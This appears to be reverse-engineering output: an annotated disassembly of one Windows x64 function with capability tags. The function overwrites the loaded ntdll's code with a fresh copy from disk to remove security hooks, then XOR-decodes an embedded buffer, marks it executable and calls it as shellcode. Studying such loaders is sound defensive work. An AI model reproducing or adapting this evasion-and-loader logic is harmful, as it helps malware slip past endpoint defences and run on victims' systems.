Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file via mapping

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x420
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x3f0], rax
mov qword [r11 + 0x10], rbp
xorps xmm0, xmm0
mov qword [r11 + 0x18], rsi
xor eax, eax
mov qword [r11 - 0x10], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x20], r14
mov qword [r11 - 0x28], r15
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r15, qword [rsp + 0x50]
lea rcx, str.c:windows_system32_ntdll.dll
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x40], rax
xor edx, edx
mov dword [rsp + 0x20], edi
mov r8d, 0x1000002
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea edx, [rdi + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd r14, dword [r15 + 0x3c]
lea esi, [rdi + 6]
add r14, r15
mov r12, rax
movzx ebp, di
cmp di, word [r14 + 6]
jae 0x14000121a
mov qword [rsp + 0x430], rbx
lea r8, str..text
nop word [rax + rax]
movzx ecx, word [r14 + 0x14]
movzx eax, bp
add rcx, r14
lea rdx, [rax + rax*4]
mov rax, rdi
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001204
cmp rax, rsi
jne 0x1400011a0
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, 0x40
mov dword [rsp + 0x68], edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r12]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
xor r9d, r9d
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc bp
cmp bp, word [r14 + 6]
jb 0x140001180
mov rbx, qword [rsp + 0x430]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x400]
lea rcx, [rsp + 0x70]
mov r14, qword [rsp + 0x408]
lea rdx, [0x1400032c0]
mov r13, qword [rsp + 0x410]
mov r12, qword [rsp + 0x418]
mov rbp, qword [rsp + 0x438]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x140001270
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
mov rsi, qword [rsp + 0x440]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
nop word [rax + rax]
xor byte [rsp + rdi + 0x70], 0x58
lea rcx, str.x_x
movzx edx, byte [rsp + rdi + 0x70]
call fcn.140001010
inc rdi
cmp rdi, 0x37e
jb 0x140001320
lea r9, [rsp + 0x6c]
mov edx, 0x37e
mov r8d, 0x40
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x70]
call rax
xor eax, eax
mov rcx, qword [rsp + 0x3f0]
xor rcx, rsp
call fcn.140001390
add rsp, 0x420
pop rdi
ret